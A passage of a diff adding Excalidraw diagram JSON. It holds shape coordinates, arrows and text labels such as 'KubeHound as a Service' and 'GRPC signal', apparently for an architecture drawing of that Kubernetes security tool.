6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2933, + "versionNonce": 278437088, + "index": "c1t9p", + "isDeleted": false, + "id": "F52H43C0WhW1Fj1A4qIsS", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.456659860702139, + "x": 4183.210960397424, + "y": -1515.4717215376868, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 133061576, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2906, + "versionNonce": 825360608, + "index": "c1t9t", + "isDeleted": false, + "id": "KubG0xbW5Nl3oQDNQ0jeZ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.358545231943218, + "x": 4191.782154202583, + "y": -1552.9589414511365, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1346347720, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 1772, + "versionNonce": 1090446560, + "index": "c1t9x", + "isDeleted": false, + "id": "XGp-fWn00EROfR8HiVrR_", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 4225.330462086258, + "y": -1535.6985843244715, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 10.252280648612068, + "height": 9.88260706753235, + "seed": 751831496, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.5526290405350023, + 1.9223026216148493 + ], + [ + -0.49289810810634505, + 6.333740689166632 + ], + [ + 3.5488663783657186, + 8.280688216186745 + ], + [ + 7.615275770243094, + 6.358385594572097 + ], + [ + 8.699651608077065, + 1.9962373378308405 + ], + [ + 5.865487486465552, + -1.5526290405348702 + ], + [ + 1.2076003648605451, + -1.601918851345604 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2028, + "versionNonce": 227494112, + "index": "c1tA", + "isDeleted": false, + "id": "UYR8B0vRIGj7KDrch0hqY", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 4232.666698620932, + "y": -1559.895029731441, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 146510024, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2187, + "versionNonce": 846408928, + "index": "c1tA4", + "isDeleted": false, + "id": "HpGsYSmMSURLh3pANDJCO", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.9101052658279114, + "x": 4244.361551246635, + "y": -1542.4800507839263, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 194918344, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2103, + "versionNonce": 1497010400, + "index": "c1tA8", + "isDeleted": false, + "id": "_R2e9Uw0wFSJEqL9RhHir", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.8100395845487913, + "x": 4238.02439256397, + "y": -1522.7660688140459, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 160693960, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2131, + "versionNonce": 2037740768, + "index": "c1tAG", + "isDeleted": false, + "id": "MwTabgGuyrCHfttOv_E_q", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6912717400126276, + "x": 4218.66438836407, + "y": -1515.3179153059368, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1933108680, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2175, + "versionNonce": 414439648, + "index": "c1tAK", + "isDeleted": false, + "id": "IfrGORoznJfs9qKkIdF-T", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.5758525840700663, + "x": 4200.626812787575, + "y": -1525.8636769521527, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1168698568, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2141, + "versionNonce": 176536800, + "index": "c1tAO", + "isDeleted": false, + "id": "4MtpcPWW4I41eaDM2iagG", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.471678909518175, + "x": 4197.717678205512, + "y": -1546.4905156255695, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 2055214024, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2194, + "versionNonce": 813375712, + "index": "c1tAV", + "isDeleted": false, + "id": "rnJGzhI-X0d1cdxJIVSNG", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.391113754113791, + "x": 4211.992155874392, + "y": -1561.5061469515067, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 2010798792, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 3435, + "versionNonce": 975439072, + "index": "c1tAZ", + "isDeleted": false, + "id": "atBuHWFL", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 4314.577398119476, + "y": -1573.1571970182467, + "strokeColor": "#e03131", + "backgroundColor": "transparent", + "width": 681.353596177151, + "height": 72.80665892698461, + "seed": 5489096, + "groupIds": [ + "o9OWyIAOLh4hhqKT0_7g2", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "KubeHound as a Service", + "rawText": "KubeHound as a Service", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "KubeHound as a Service", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 662, + "versionNonce": 77914400, + "index": "c1tAd", + "isDeleted": false, + "id": "i6_qCh6k6r5IJ2uMKC9xU", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2979.3689385048638, + "y": -1382.3603750571456, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 593.3257170890964, + "height": 488.6981108426727, + "seed": 1797299656, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453656, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": { + "elementId": "D3bzKNCSoKOPVUVTBFR0Z", + "focus": -0.28360570820340153, + "gap": 20.113072034116385 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 200.7938511543588, + 428.64622434081883 + ], + [ + 593.3257170890964, + 488.6981108426727 + ] + ] + }, + { + "type": "arrow", + "version": 670, + "versionNonce": 464239904, + "index": "c1tAl", + "isDeleted": false, + "id": "RsDe7GvXPzcsetaGwkNgu", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2981.717114895054, + "y": -387.7045615080435, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 588.9959572472694, + "height": 502.13324664477005, + "seed": 1473881288, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453657, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": { + "elementId": "D3bzKNCSoKOPVUVTBFR0Z", + "focus": 0.05582121581439784, + "gap": 22.094655485753492 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 157.88266150916297, + -455.8731809663085 + ], + [ + 588.9959572472694, + -502.13324664477005 + ] + ] + }, + { + "type": "arrow", + "version": 551, + "versionNonce": 1702304032, + "index": "c1tAt", + "isDeleted": false, + "id": "aGCE9KRv-qKreBfRv9nEz", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2975.7426407883695, + "y": -913.6366254069724, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 595.6738934792864, + "height": 18.99347738393873, + "seed": 1977207752, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453657, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": { + "elementId": "D3bzKNCSoKOPVUVTBFR0Z", + "focus": -0.13495163788287462, + "gap": 21.39119336042063 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 595.6738934792864, + 18.99347738393873 + ] + ] + }, + { + "type": "rectangle", + "version": 450, + "versionNonce": 655004896, + "index": "c1tB", + "isDeleted": false, + "id": "rpjtvdx_MyC5uWMRv7OPp", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3242.7709188136887, + "y": -983.7450479258825, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 190.61842013020396, + "height": 166.41522040453623, + "seed": 454885576, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "sk5MgoK5" + } + ], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 455, + "versionNonce": 379910368, + "index": "c1tB8", + "isDeleted": false, + "id": "sk5MgoK5", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3257.359502047736, + "y": -973.3440966505991, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 161.44125366210938, + "height": 145.6133178539692, + "seed": 810657736, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "GRPC\nsignal", + "rawText": "GRPC \nsignal", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "rpjtvdx_MyC5uWMRv7OPp", + "originalText": "GRPC \nsignal", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 828, + "versionNonce": 360117536, + "index": "c1tBG", + "isDeleted": false, + "id": "3ZjOn7HHNeo9w5zwMxjs3", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3194.598625104398, + "y": 